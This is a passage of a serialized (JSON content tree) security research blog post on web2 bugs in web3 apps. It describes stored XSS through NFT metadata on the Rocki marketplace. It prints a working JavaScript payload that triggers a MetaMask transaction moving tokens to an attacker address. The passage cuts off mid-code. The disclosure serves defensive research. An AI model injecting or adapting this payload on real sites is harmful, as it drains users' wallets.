"type":23,"tag":586,"props":28909,"children":28910},{},[],{"type":28,"value":600},{"type":23,"tag":586,"props":28913,"children":28914},{},[],{"type":23,"tag":24,"props":28916,"children":28917},{},[28918,28922],{"type":23,"tag":56,"props":28919,"children":28920},{},[28921],{"type":28,"value":611},{"type":28,"value":613},{"type":23,"tag":24,"props":28924,"children":28925},{},[28926,28927,28932,28933,28938,28946],{"type":28,"value":618},{"type":23,"tag":64,"props":28928,"children":28930},{"href":621,"rel":28929},[68],[28931],{"type":28,"value":625},{"type":28,"value":627},{"type":23,"tag":64,"props":28934,"children":28936},{"href":630,"rel":28935},[68],[28937],{"type":28,"value":634},{"type":23,"tag":636,"props":28939,"children":28940},{},[28941],{"type":23,"tag":64,"props":28942,"children":28944},{"href":641,"ariaDescribedBy":28943,"dataFootnoteRef":7,"id":644},[643],[28945],{"type":28,"value":647},{"type":28,"value":73},{"type":23,"tag":41,"props":28948,"children":28949},{"id":651},[28950],{"type":28,"value":654},{"type":23,"tag":24,"props":28952,"children":28953},{},[28954,28958],{"type":23,"tag":659,"props":28955,"children":28956},{},[28957],{"type":28,"value":654},{"type":28,"value":664},{"type":23,"tag":666,"props":28960,"children":28961},{"id":668},[28962],{"type":28,"value":671},{"type":23,"tag":24,"props":28964,"children":28965},{},[28966],{"type":28,"value":676},{"type":23,"tag":24,"props":28968,"children":28969},{},[28970],{"type":28,"value":681},{"type":23,"tag":24,"props":28972,"children":28973},{},[28974],{"type":28,"value":686},{"type":23,"tag":666,"props":28976,"children":28977},{"id":689},[28978],{"type":28,"value":692},{"type":23,"tag":24,"props":28980,"children":28981},{},[28982],{"type":28,"value":697},{"type":23,"tag":24,"props":28984,"children":28985},{},[28986,28987,28992],{"type":28,"value":702},{"type":23,"tag":64,"props":28988,"children":28990},{"href":705,"rel":28989},[68],[28991],{"type":28,"value":709},{"type":28,"value":711},{"type":23,"tag":24,"props":28994,"children":28995},{},[28996],{"type":28,"value":716},{"type":23,"tag":24,"props":28998,"children":28999},{},[29000],{"type":28,"value":721},{"type":23,"tag":24,"props":29002,"children":29003},{},[29004],{"type":28,"value":726},{"type":23,"tag":41,"props":29006,"children":29007},{"id":729},[29008],{"type":28,"value":732},{"type":23,"tag":24,"props":29010,"children":29011},{},[29012],{"type":28,"value":737},{"type":23,"tag":24,"props":29014,"children":29015},{},[29016,29017,29022],{"type":28,"value":742},{"type":23,"tag":64,"props":29018,"children":29020},{"href":745,"rel":29019},[68],[29021],{"type":28,"value":749},{"type":28,"value":73},{"type":23,"tag":90,"props":29024,"children":29025},{},[29026],{"type":23,"tag":24,"props":29027,"children":29028},{},[29029,29030,29034,29035,29038,29039,29043],{"type":28,"value":758},{"type":23,"tag":659,"props":29031,"children":29032},{},[29033],{"type":28,"value":763},{"type":28,"value":765},{"type":23,"tag":586,"props":29036,"children":29037},{},[],{"type":28,"value":770},{"type":23,"tag":659,"props":29040,"children":29041},{},[29042],{"type":28,"value":775},{"type":28,"value":777},{"type":23,"tag":24,"props":29045,"children":29046},{},[29047],{"type":28,"value":782},{"type":23,"tag":784,"props":29049,"children":29051},{"className":29050,"dataFootnotes":7},[787],[29052,29057],{"type":23,"tag":41,"props":29053,"children":29055},{"className":29054,"id":643},[792],[29056],{"type":28,"value":795},{"type":23,"tag":797,"props":29058,"children":29059},{},[29060],{"type":23,"tag":801,"props":29061,"children":29062},{"id":803},[29063,29064],{"type":28,"value":806},{"type":23,"tag":64,"props":29065,"children":29067},{"href":809,"ariaLabel":810,"className":29066,"dataFootnoteBackref":7},[812],[29068],{"type":28,"value":815},{"type":23,"tag":817,"props":29070,"children":29071},{},[29072],{"type":28,"value":821},{"title":7,"searchDepth":151,"depth":151,"links":29074},[29075,29076,29080,29081],{"id":43,"depth":151,"text":46},{"id":651,"depth":151,"text":654,"children":29077},[29078,29079],{"id":668,"depth":160,"text":671},{"id":689,"depth":160,"text":692},{"id":729,"depth":151,"text":732},{"id":643,"depth":151,"text":795},{"_path":29083,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":29084,"description":29085,"author":29086,"image":29089,"date":29091,"isFeatured":15,"tags":29092,"onBlogPage":15,"body":29095,"_type":831,"_id":33308,"_source":833,"_file":33309,"_stem":33310,"_extension":836},"/blog/2023-08-11-web2-bug-repellant-instructions","Web2 Bug Repellant Instructions","An analysis of security risks that don’t get enough attention - web2 bugs in web3 apps. We take a deep and practical look at vulnerabilities across various applications.",[29087,29088],"caue","bruno",{"src":29090,"height":13,"width":13},"/posts/web2-bug-repellant-instructions/web2-bug-repellant-instructions.jpg","2023-08-11",[29093,29094],"nft-marketplaces","xss",{"type":20,"children":29096,"toc":33291},[29097,29101,29106,29110,29115,29120,29125,29141,29147,29160,29182,29189,29194,29201,29206,29212,29217,29222,29227,29232,29243,29248,30217,30227,30239,30246,30251,31073,31078,31083,31088,31093,31877,31882,31964,31969,32038,32044,32049,32054,32281,32294,32299,32304,32309,32316,32321,32328,32334,32339,32344,32349,32668,32673,32679,32695,32701,32706,32711,32721,32726,32731,32740,32745,32751,32767,32780,32785,32790,32810,32817,32822,32829,32838,32843,32864,32917,32922,32973,32987,32992,33006,33121,33144,33228,33251,33256,33261,33266,33271,33276,33282,33287],{"type":23,"tag":41,"props":29098,"children":29099},{"id":27037},[29100],{"type":28,"value":27040},{"type":23,"tag":24,"props":29102,"children":29103},{},[29104],{"type":28,"value":29105},"Transitioning to a fully decentralized web is hard. Many Web 3 applications still have large, unexplored Web 2 attack surfaces.",{"type":23,"tag":666,"props":29107,"children":29108},{"id":886},[29109],{"type":28,"value":889},{"type":23,"tag":24,"props":29111,"children":29112},{},[29113],{"type":28,"value":29114},"In this blog post, we'll explore these lingering threats and potential mitigations. This work summarizes our internal research against various applications, from NFT marketplaces to wallets to protocol frontends.",{"type":23,"tag":24,"props":29116,"children":29117},{},[29118],{"type":28,"value":29119},"As a note, generally applications with non-trivial frontends are more susceptible to these vulnerabilities. Hence, a lot of our research focused on the interactions with NFTs, an ideal Web 2.5 candidate in many senses.",{"type":23,"tag":41,"props":29121,"children":29122},{"id":29094},[29123],{"type":28,"value":29124},"XSS",{"type":23,"tag":24,"props":29126,"children":29127},{},[29128],{"type":23,"tag":659,"props":29129,"children":29130},{},[29131,29133,29140],{"type":28,"value":29132},"I cannot make you understand. I cannot make anyone understand what is happening inside me. I cannot ",{"type":23,"tag":64,"props":29134,"children":29137},{"href":29135,"rel":29136},"https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting",[68],[29138],{"type":28,"value":29139},"even explain it to myself",{"type":28,"value":73},{"type":23,"tag":666,"props":29142,"children":29144},{"id":29143},"managing-metadata",[29145],{"type":28,"value":29146},"Managing Metadata",{"type":23,"tag":24,"props":29148,"children":29149},{},[29150,29152,29159],{"type":28,"value":29151},"Effectively managing metadata is a challenge. When improperly sanitized, unsuspecting metadata becomes a dangerous sink for malicious ",{"type":23,"tag":64,"props":29153,"children":29156},{"href":29154,"rel":29155},"https://www.vice.com/en/article/xgdvaz/nft-steal-ip-address-opensea",[68],[29157],{"type":28,"value":29158},"payloads",{"type":28,"value":73},{"type":23,"tag":24,"props":29161,"children":29162},{},[29163,29165,29172,29174,29180],{"type":28,"value":29164},"We showcase this vulnerability in the ",{"type":23,"tag":64,"props":29166,"children":29169},{"href":29167,"rel":29168},"https://rocki.com/",[68],[29170],{"type":28,"value":29171},"Rocki Marketplace",{"type":28,"value":29173},". The ",{"type":23,"tag":135,"props":29175,"children":29177},{"className":29176},[],[29178],{"type":28,"value":29179},"artistDescription",{"type":28,"value":29181}," parameter was improperly sanitized, allowing arbitrary HTML input without any validation checks!",{"type":23,"tag":24,"props":29183,"children":29184},{},[29185],{"type":23,"tag":429,"props":29186,"children":29188},{"alt":7,"src":29187},"/posts/web2-bug-repellant-instructions/metadata.png",[],{"type":23,"tag":24,"props":29190,"children":29191},{},[29192],{"type":28,"value":29193},"When a user loads such a maliciously constructed NFT, they'll unwittingly execute our payload, giving us full control over their account.",{"type":23,"tag":24,"props":29195,"children":29196},{},[29197],{"type":23,"tag":429,"props":29198,"children":29200},{"alt":7,"src":29199},"/posts/web2-bug-repellant-instructions/xss.png",[],{"type":23,"tag":24,"props":29202,"children":29203},{},[29204],{"type":28,"value":29205},"Of course, this is merely a toy payload. An actual hacker could use this to spread through the marketplace, creating a wormable payload that takes over the entire website.",{"type":23,"tag":666,"props":29207,"children":29209},{"id":29208},"wheres-my-wallet",[29210],{"type":28,"value":29211},"Where's My Wallet",{"type":23,"tag":24,"props":29213,"children":29214},{},[29215],{"type":28,"value":29216},"What's the worst that can happen? How does losing your wallet funds sound?",{"type":23,"tag":24,"props":29218,"children":29219},{},[29220],{"type":28,"value":29221},"Note that triggering this exploit requires some interaction. However, in practice users likely are not carefully examining the wallet prompts, especially on familiar sites.",{"type":23,"tag":24,"props":29223,"children":29224},{},[29225],{"type":28,"value":29226},"It is important to recognize that the presence of XSS in marketplaces can trigger the approval prompt in various wallets, including the attacker's assets.",{"type":23,"tag":24,"props":29228,"children":29229},{},[29230],{"type":28,"value":29231},"In the following example, this malicious transaction was initiated by a malicious code injected into rocki.com.",{"type":23,"tag":29233,"props":29234,"children":29236},"div",{"style":29235},"display:flex; align-items:center; flex-direction:column;",[29237],{"type":23,"tag":429,"props":29238,"children":29242},{"src":29239,"alt":29240,"style":29241},"/posts/web2-bug-repellant-instructions/metamask.png","Wallet","max-height:550px;",[],{"type":23,"tag":24,"props":29244,"children":29245},{},[29246],{"type":28,"value":29247},"And here we can find the code used to achieve it :",{"type":23,"tag":128,"props":29249,"children":29253},{"className":29250,"code":29251,"language":29252,"meta":7,"style":7},"language-js shiki shiki-themes slack-dark","function request() {\n  if (typeof window.ethereum === 'undefined') {\n    console.error('Please install MetaMask to use this feature.');\n  } else {\n    ethereum.request({ method: 'eth_requestAccounts' }).then((accounts) => {\n      const fromAddress = accounts[0];\n      const attackerAddress = '0x0000000000000000000000000000000000000000';\n      const contractAddress = '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3';\n\n      let tokenAbi = [\n        {\n          constant: false,\n          inputs: [\n            {\n              name: '_to',\n              type: 'address',\n            },\n            {\n              name: '_value',\n              type: 'uint256',\n            },\n          ],\n          name: 'transfer',\n          outputs: [\n            {\n              name: '',\n              type: 'bool',\n            },\n          ],\n          type: 'function',\n        },\n      ];\n\n      const web3 = new Web3(window.ethereum);\n\n      const tokenContract = new web3.eth.Contract(tokenAbi, contractAddress);\n\n      const transactionObject = {\n        from: fromAddress,\n        to: contractAddress,\n        data: tokenContract.methods\n          .transfer(attackerAddress, web3.utils.toWei('100000000', 'ether'))\n          .encodeABI(),\n      };\n\n      web3.eth.sendTransaction(transactionObject);\n    });\n  }\n}\n\nimport('https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js');\nsetTimeout(request, 1e3);\n","js",[29254],{"type":23,"tag":135,"props":29255,"children":29256},{"__ignoreMap":7},[29257,29274,29319,29348,29364,29427,29462,29487,29512,29519,29539,29547,29563,29575,29583,29600,29617,29625,29632,29648,29664,29671,29679,29696,29708,29715,29731,29747,29754,29761,29778,29785,29793,29800,29847,29854,29918,29925,29945,29961,29977,29998,30069,30085,30092,30099,30137,30145,30152,30159,30166,30187],{"type":23,"tag":139,"props":29258,"children":29259},{"class":141,"line":142},[29260,29265,29270],{"type":23,"tag":139,"props":29261,"children":29262},{"style":279},[29263],{"type":28,"value":29264},"function",{"type":23,"tag":139,"props":29266,"children":29267},{"style":245},[29268],{"type":28,"value":29269}," request",{"type":23,"tag":139,"props":29271,"children":29272},{"style":259},[29273],{"type":28,"value":13747},{"type":23,"tag":139,"props":29275,"children":29276},{"class":141,"line":151},[29277,29282,29286,29291,29296,29300,29305,29310,29315],{"type":23,"tag":139,"props":29278,"children":29279},{"style":319},[29280],{"type":28,"value":29281},"  if",{"type":23,"tag":139,"props":29283,"children":29284},{"style":259},[29285],{"type":28,"value":1042},{"type":23,"tag":139,"props":29287,"children":29288},{"style":279},[29289],{"type":28,"value":29290},"typeof",{"type":23,"tag":139,"props":29292,"children":29293},{"style":294},[29294],{"type":28,"value":29295}," window",{"type":23,"tag":139,"props":29297,"children":29298},{"style":259},[29299],{"type":28,"value":73},{"type":23,"tag":139,"props":29301,"children":29302},{"style":294},[29303],{"type":28,"value":29304},"ethereum",{"type":23,"tag":139,"props":29306,"children":29307},{"style":982},[29308],{"type":28,"value":29309}," ===",{"type":23,"tag":139,"props":29311,"children":29312},{"style":265},[29313],{"type":28,"value":29314}," 'undefined'",{"type":23,"tag":139,"props":29316,"children":29317},{"style":259},[29318],{"type":28,"value":12815},{"type":23,"tag":139,"props":29320,"children":29321},{"class":141,"line":160},[29322,29327,29331,29335,29339,29344],{"type":23,"tag":139,"props":29323,"children":29324},{"style":294},[29325],{"type":28,"value":29326},"    console",{"type":23,"tag":139,"props":29328,"children":29329},{"style":259},[29330],{"type":28,"value":73},{"type":23,"tag":139,"props":29332,"children":29333},{"style":245},[29334],{"type":28,"value":12875},{"type":23,"tag":139,"props":29336,"children":29337},{"style":259},[29338],{"type":28,"value":262},{"type":23,"tag":139,"props":29340,"children":29341},{"style":265},[29342],{"type":28,"value":29343},"'Please install MetaMask to use this feature.'",{"type":23,"tag":139,"props":29345,"children":29346},{"style":259},[29347],{"type":28,"value":1820},{"type":23,"tag":139,"props":29349,"children":29350},{"class":141,"line":169},[29351,29356,29360],{"type":23,"tag":139,"props":29352,"children":29353},{"style":259},[29354],{"type":28,"value":29355},"  } ",{"type":23,"tag":139,"props":29357,"children":29358},{"style":319},[29359],{"type":28,"value":1293},{"type":23,"tag":139,"props":29361,"children":29362},{"style":259},[29363],{"type":28,"value":1268},{"type":23,"tag":139,"props":29365,"children":29366},{"class":141,"line":178},[29367,29372,29376,29381,29386,29391,29396,29401,29406,29411,29415,29419,29423],{"type":23,"tag":139,"props":29368,"children":29369},{"style":294},[29370],{"type":28,"value":29371},"    ethereum",{"type":23,"tag":139,"props":29373,"children":29374},{"style":259},[29375],{"type":28,"value":73},{"type":23,"tag":139,"props":29377,"children":29378},{"style":245},[29379],{"type":28,"value":29380},"request",{"type":23,"tag":139,"props":29382,"children":29383},{"style":259},[29384],{"type":28,"value":29385},"({ ",{"type":23,"tag":139,"props":29387,"children":29388},{"style":294},[29389],{"type":28,"value":29390},"method:",{"type":23,"tag":139,"props":29392,"children":29393},{"style":265},[29394],{"type":28,"value":29395}," 'eth_requestAccounts'",{"type":23,"tag":139,"props":29397,"children":29398},{"style":259},[29399],{"type":28,"value":29400}," }).",{"type":23,"tag":139,"props":29402,"children":29403},{"style":245},[29404],{"type":28,"value":29405},"then",{"type":23,"tag":139,"props":29407,"children":29408},{"style":259},[29409],{"type":28,"value":29410},"((",{"type":23,"tag":139,"props":29412,"children":29413},{"style":294},[29414],{"type":28,"value":12686},{"type":23,"tag":139,"props":29416,"children":29417},{"style":259},[29418],{"type":28,"value":1062},{"type":23,"tag":139,"props":29420,"children":29421},{"style":279},[29422],{"type":28,"value":12833},{"type":23,"tag":139,"props":29424,"children":29425},{"style":259},[29426],{"type":28,"value":1268},{"type":23,"tag":139,"props":29428,"children":29429},{"class":141,"line":187},[29430,29435,29440,29444,29449,29453,29457],{"type":23,"tag":139,"props":29431,"children":29432},{"style":279},[29433],{"type":28,"value":29434},"      const",{"type":23,"tag":139,"props":29436,"children":29437},{"style":294},[29438],{"type":28,"value":29439}," fromAddress",{"type":23,"tag":139,"props":29441,"children":29442},{"style":982},[29443],{"type":28,"value":985},{"type":23,"tag":139,"props":29445,"children":29446},{"style":294},[29447],{"type":28,"value":29448}," accounts",{"type":23,"tag":139,"props":29450,"children":29451},{"style":259},[29452],{"type":28,"value":1723},{"type":23,"tag":139,"props":29454,"children":29455},{"style":1016},[29456],{"type":28,"value":2021},{"type":23,"tag":139,"props":29458,"children":29459},{"style":259},[29460],{"type":28,"value":29461},"];\n",{"type":23,"tag":139,"props":29463,"children":29464},{"class":141,"line":196},[29465,29469,29474,29478,29483],{"type":23,"tag":139,"props":29466,"children":29467},{"style":279},[29468],{"type":28,"value":29434},{"type":23,"tag":139,"props":29470,"children":29471},{"style":294},[29472],{"type":28,"value":29473}," attackerAddress",{"type":23,"tag":139,"props":29475,"children":29476},{"style":982},[29477],{"type":28,"value":985},{"type":23,"tag":139,"props":29479,"children":29480},{"style":265},[29481],{"type":28,"value":29482}," '0x0000000000000000000000000000000000000000'",{"type":23,"tag":139,"props":29484,"children":29485},{"style":259},[29486],{"type":28,"value":995},{"type":23,"tag":139,"props":29488,"children":29489},{"class":141,"line":205},[29490,29494,29499,29503,29508],{"type":23,"tag":139,"props":29491,"children":29492},{"style":279},[29493],{"type":28,"value":29434},{"type":23,"tag":139,"props":29495,"children":29496},{"style":294},[29497],{"type":28,"value":29498}," contractAddress",{"type":23,"tag":139,"props":29500,"children":29501},{"style":982},[29502],{"type":28,"value":985},{"type":23,"tag":139,"props":29504,"children":29505},{"style":265},[29506],{"type":28,"value":29507}," '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3'",{"type":23,"tag":139,"props":29509,"children":29510},{"style":259},[29511],{"type":28,"value":995},{"type":23,"tag":139,"props":29513,"children":29514},{"class":141,"line":214},[29515],{"type":23,"tag":139,"props":29516,"children":29517},{"emptyLinePlaceholder":15},[29518],{"type":28,"value":184},{"type":23,"tag":139,"props":29520,"children":29521},{"class":141,"line":1320},[29522,29526,29531,29535],{"type":23,"tag":139,"props":29523,"children":29524},{"style":279},[29525],{"type":28,"value":6079},{"type":23,"tag":139,"props":29527,"children":29528},{"style":294},[29529],{"type":28,"value":29530}," tokenAbi",{"type":23,"tag":139,"props":29532,"children":29533},{"style":982},[29534],{"type":28,"value":985},{"type":23,"tag":139,"props":29536,"children":29537},{"style":259},[29538],{"type":28,"value":23642},{"type":23,"tag":139,"props":29540,"children":29541},{"class":141,"line":1329},[29542],{"type":23,"tag":139,"props":29543,"children":29544},{"style":259},[29545],{"type":28,"value":29546},"        {\n",{"type":23,"tag":139,"props":29548,"children":29549},{"class":141,"line":1580},[29550,29555,29559],{"type":23,"tag":139,"props":29551,"children":29552},{"style":294},[29553],{"type":28,"value":29554},"          constant:",{"type":23,"tag":139,"props":29556,"children":29557},{"style":279},[29558],{"type":28,"value":7064},{"type":23,"tag":139,"props":29560,"children":29561},{"style":259},[29562],{"type":28,"value":1488},{"type":23,"tag":139,"props":29564,"children":29565},{"class":141,"line":1597},[29566,29571],{"type":23,"tag":139,"props":29567,"children":29568},{"style":294},[29569],{"type":28,"value":29570},"          inputs:",{"type":23,"tag":139,"props":29572,"children":29573},{"style":259},[29574],{"type":28,"value":23642},{"type":23,"tag":139,"props":29576,"children":29577},{"class":141,"line":1614},[29578],{"type":23,"tag":139,"props":29579,"children":29580},{"style":259},[29581],{"type":28,"value":29582},"            {\n",{"type":23,"tag":139,"props":29584,"children":29585},{"class":141,"line":1627},[29586,29591,29596],{"type":23,"tag":139,"props":29587,"children":29588},{"style":294},[29589],{"type":28,"value":29590},"              name:",{"type":23,"tag":139,"props":29592,"children":29593},{"style":265},[29594],{"type":28,"value":29595}," '_to'",{"type":23,"tag":139,"props":29597,"children":29598},{"style":259},[29599],{"type":28,"value":1488},{"type":23,"tag":139,"props":29601,"children":29602},{"class":141,"line":1636},[29603,29608,29613],{"type":23,"tag":139,"props":29604,"children":29605},{"style":294},[29606],{"type":28,"value":29607},"              type:",{"type":23,"tag":139,"props":29609,"children":29610},{"style":265},[29611],{"type":28,"value":29612}," 'address'",{"type":23,"tag":139,"props":29614,"children":29615},{"style":259},[29616],{"type":28,"value":1488},{"type":23,"tag":139,"props":29618,"children":29619},{"class":141,"line":1659},[29620],{"type":23,"tag":139,"props":29621,"children":29622},{"style":259},[29623],{"type":28,"value":29624},"            },\n",{"type":23,"tag":139,"props":29626,"children":29627},{"class":141,"line":1667},[29628],{"type":23,"tag":139,"props":29629,"children":29630},{"style":259},[29631],{"type":28,"value":29582},{"type":23,"tag":139,"props":29633,"children":29634},{"class":141,"line":1676},[29635,29639,29644],{"type":23,"tag":139,"props":29636,"children":29637},{"style":294},[29638],{"type":28,"value":29590},{"type":23,"tag":139,"props":29640,"children":29641},{"style":265},[29642],{"type":28,"value":29643}," '_value'",{"type":23,"tag":139,"props":29645,"children":29646},{"style":259},[29647],{"type":28,"value":1488},{"type":23,"tag":139,"props":29649,"children":29650},{"class":141,"line":1745},[29651,29655,29660],{"type":23,"tag":139,"props":29652,"children":29653},{"style":294},[29654],{"type":28,"value":29607},{"type":23,"tag":139,"props":29656,"children":29657},{"style":265},[29658],{"type":28,"value":29659}," 'uint256'",{"type":23,"tag":139,"props":29661,"children":29662},{"style":259},[29663],{"type":28,"value":1488},{"type":23,"tag":139,"props":29665,"children":29666},{"class":141,"line":1753},[29667],{"type":23,"tag":139,"props":29668,"children":29669},{"style":259},[29670],{"type":28,"value":29624},{"type":23,"tag":139,"props":29672,"children":29673},{"class":141,"line":1783},[29674],{"type":23,"tag":139,"props":29675,"children":29676},{"style":259},[29677],{"type":28,"value":29678},"          ],\n",{"type":23,"tag":139,"props":29680,"children":29681},{"class":141,"line":1791},[29682,29687,29692],{"type":23,"tag":139,"props":29683,"children":29684},{"style":294},[29685],{"type":28,"value":29686},"          name:",{"type":23,"tag":139,"props":29688,"children":29689},{"style":265},[29690],{"type":28,"value":29691}," 'transfer'",{"type":23,"tag":139,"props":29693,"children":29694},{"style":259},[29695],{"type":28,"value":1488},{"type":23,"tag":139,"props":29697,"children":29698},{"class":141,"line":1823},[29699,29704],{"type":23,"tag":139,"props":29700,"children":29701},{"style":294},[29702],{"type":28,"value":29703},"          outputs:",{"type":23,"tag":139,"props":29705,"children":29706},{"style":259},[29707],{"type":28,"value":23642},{"type":23,"tag":139,"props":29709,"children":29710},{"class":141,"line":1831},[29711],{"type":23,"tag":139,"props":29712,"children":29713},{"style":259},[29714],{"type":28,"value":29582},{"type":23,"tag":139,"props":29716,"children":29717},{"class":141,"line":1891},[29718,29722,29727],{"type":23,"tag":139,"props":29719,"children":29720},{"style":294},[29721],{"type":28,"value":29590},{"type":23,"tag":139,"props":29723,"children":29724},{"style":265},[29725],{"type":28,"value":29726}," ''",{"type":23,"tag":139,"props":29728,"children":29729},{"style":259},[29730],{"type":28,"value":1488},{"type":23,"tag":139,"props":29732,"children":29733},{"class":141,"line":7053},[29734,29738,29743],{"type":23,"tag":139,"props":29735,"children":29736},{"style":294},[29737],{"type":28,"value":29607},{"type":23,"tag":139,"props":29739,"children":29740},{"style":265},[29741],{"type":28,"value":29742}," 'bool'",{"type":23,"tag":139,"props":29744,"children":29745},{"style":259},[29746],{"type":28,"value":1488},{"type":23,"tag":139,"props":29748,"children":29749},{"class":141,"line":7071},[29750],{"type":23,"tag":139,"props":29751,"children":29752},{"style":259},[29753],{"type":28,"value":29624},{"type":23,"tag":139,"props":29755,"children":29756},{"class":141,"line":7116},[29757],{"type":23,"tag":139,"props":29758,"children":29759},{"style":259},[29760],{"type":28,"value":29678},{"type":23,"tag":139,"props":29762,"children":29763},{"class":141,"line":7222},[29764,29769,29774],{"type":23,"tag":139,"props":29765,"children":29766},{"style":294},[29767],{"type":28,"value":29768},"          type:",{"type":23,"tag":139,"props":29770,"children":29771},{"style":265},[29772],{"type":28,"value":29773}," 'function'",{"type":23,"tag":139,"props":29775,"children":29776},{"style":259},[29777],{"type":28,"value":1488},{"type":23,"tag":139,"props":29779,"children":29780},{"class":141,"line":21518},[29781],{"type":23,"tag":139,"props":29782,"children":29783},{"style":259},[29784],{"type":28,"value":23394},{"type":23,"tag":139,"props":29786,"children":29787},{"class":141,"line":21553},[29788],{"type":23,"tag":139,"props":29789,"children":29790},{"style":259},[29791],{"type":28,"value":29792},"      ];\n",{"type":23,"tag":139,"props":29794,"children":29795},{"class":141,"line":21561},[29796],{"type":23,"tag":139,"props":29797,"children":29798},{"emptyLinePlaceholder":15},[29799],{"type":28,"value":184},{"type":23,"tag":139,"props":29801,"children":29802},{"class":141,"line":21569},[29803,29807,29812,29816,29821,29826,29830,29835,29839,29843],{"type":23,"tag":139,"props":29804,"children":29805},{"style":279},[29806],{"type":28,"value":29434},{"type":23,"tag":139,"props":29808,"children":29809},{"style":294},[29810],{"type":28,"value":29811}," web3",{"type":23,"tag":139,"props":29813,"children":29814},{"style":982},[29815],{"type":28,"value":985},{"type":23,"tag":139,"props":29817,"children":29818},{"style":279},[29819],{"type":28,"value":29820}," new",{"type":23,"tag":139,"props":29822,"children":29823},{"style":245},[29824],{"type":28,"value":29825}," Web3",{"type":23,"tag":139,"props":29827,"children":29828},{"style":259},[29829],{"type":28,"value":262},{"type":23,"tag":139,"props":29831,"children":29832},{"style":294},[29833],{"type":28,"value":29834},"window",{"type":23,"tag":139,"props":29836,"children":29837},{"style":259},[29838],{"type":28,"value":73},{"type":23,"tag":139,"props":29840,"children":29841},{"style":294},[29842],{"type":28,"value":29304},{"type":23,"tag":139,"props":29844,"children":29845},{"style":259},[29846],{"type":28,"value":1820},{"type":23,"tag":139,"props":29848,"children":29849},{"class":141,"line":21578},[29850],{"type":23,"tag":139,"props":29851,"children":29852},{"emptyLinePlaceholder":15},[29853],{"type":28,"value":184},{"type":23,"tag":139,"props":29855,"children":29856},{"class":141,"line":21620},[29857,29861,29866,29870,29874,29878,29882,29887,29891,29896,29900,29905,29909,29914],{"type":23,"tag":139,"props":29858,"children":29859},{"style":279},[29860],{"type":28,"value":29434},{"type":23,"tag":139,"props":29862,"children":29863},{"style":294},[29864],{"type":28,"value":29865}," tokenContract",{"type":23,"tag":139,"props":29867,"children":29868},{"style":982},[29869],{"type":28,"value":985},{"type":23,"tag":139,"props":29871,"children":29872},{"style":279},[29873],{"type":28,"value":29820},{"type":23,"tag":139,"props":29875,"children":29876},{"style":294},[29877],{"type":28,"value":29811},{"type":23,"tag":139,"props":29879,"children":29880},{"style":259},[29881],{"type":28,"value":73},{"type":23,"tag":139,"props":29883,"children":29884},{"style":294},[29885],{"type":28,"value":29886},"eth",{"type":23,"tag":139,"props":29888,"children":29889},{"style":259},[29890],{"type":28,"value":73},{"type":23,"tag":139,"props":29892,"children":29893},{"style":245},[29894],{"type":28,"value":29895},"Contract",{"type":23,"tag":139,"props":29897,"children":29898},{"style":259},[29899],{"type":28,"value":262},{"type":23,"tag":139,"props":29901,"children":29902},{"style":294},[29903],{"type":28,"value":29904},"tokenAbi",{"type":23,"tag":139,"props":29906,"children":29907},{"style":259},[29908],{"type":28,"value":1052},{"type":23,"tag":139,"props":29910,"children":29911},{"style":294},[29912],{"type":28,"value":29913},"contractAddress",{"type":23,"tag":139,"props":29915,"children":29916},{"style":259},[29917],{"type":28,"value":1820},{"type":23,"tag":139,"props":29919,"children":29920},{"class":141,"line":21653},[29921],{"type":23,"tag":139,"props":29922,"children":29923},{"emptyLinePlaceholder":15},[29924],{"type":28,"value":184},{"type":23,"tag":139,"props":29926,"children":29927},{"class":141,"line":21661},[29928,29932,29937,29941],{"type":23,"tag":139,"props":29929,"children":29930},{"style":279},[29931],{"type":28,"value":29434},{"type":23,"tag":139,"props":29933,"children":29934},{"style":294},[29935],{"type":28,"value":29936}," transactionObject",{"type":23,"tag":139,"props":29938,"children":29939},{"style":982},[29940],{"type":28,"value":985},{"type":23,"tag":139,"props":29942,"children":29943},{"style":259},[29944],{"type":28,"value":1268},{"type":23,"tag":139,"props":29946,"children":29947},{"class":141,"line":21669},[29948,29953,29957],{"type":23,"tag":139,"props":29949,"children":29950},{"style":294},[29951],{"type":28,"value":29952},"        from:",{"type":23,"tag":139,"props":29954,"children":29955},{"style":294},[29956],{"type":28,"value":29439},{"type":23,"tag":139,"props":29958,"children":29959},{"style":259},[29960],{"type":28,"value":1488},{"type":23,"tag":139,"props":29962,"children":29963},{"class":141,"line":21678},[29964,29969,29973],{"type":23,"tag":139,"props":29965,"children":29966},{"style":294},[29967],{"type":28,"value":29968},"        to:",{"type":23,"tag":139,"props":29970,"children":29971},{"style":294},[29972],{"type":28,"value":29498},{"type":23,"tag":139,"props":29974,"children":29975},{"style":259},[29976],{"type":28,"value":1488},{"type":23,"tag":139,"props":29978,"children":29979},{"class":141,"line":21754},[29980,29985,29989,29993],{"type":23,"tag":139,"props":29981,"children":29982},{"style":294},[29983],{"type":28,"value":29984},"        data:",{"type":23,"tag":139,"props":29986,"children":29987},{"style":294},[29988],{"type":28,"value":29865},{"type":23,"tag":139,"props":29990,"children":29991},{"style":259},[29992],{"type":28,"value":73},{"type":23,"tag":139,"props":29994,"children":29995},{"style":294},[29996],{"type":28,"value":29997},"methods\n",{"type":23,"tag":139,"props":29999,"children":30000},{"class":141,"line":21787},[30001,30006,30011,30015,30020,30024,30029,30033,30038,30042,30047,30051,30056,30060,30065],{"type":23,"tag":139,"props":30002,"children":30003},{"style":259},[30004],{"type":28,"value":30005},"          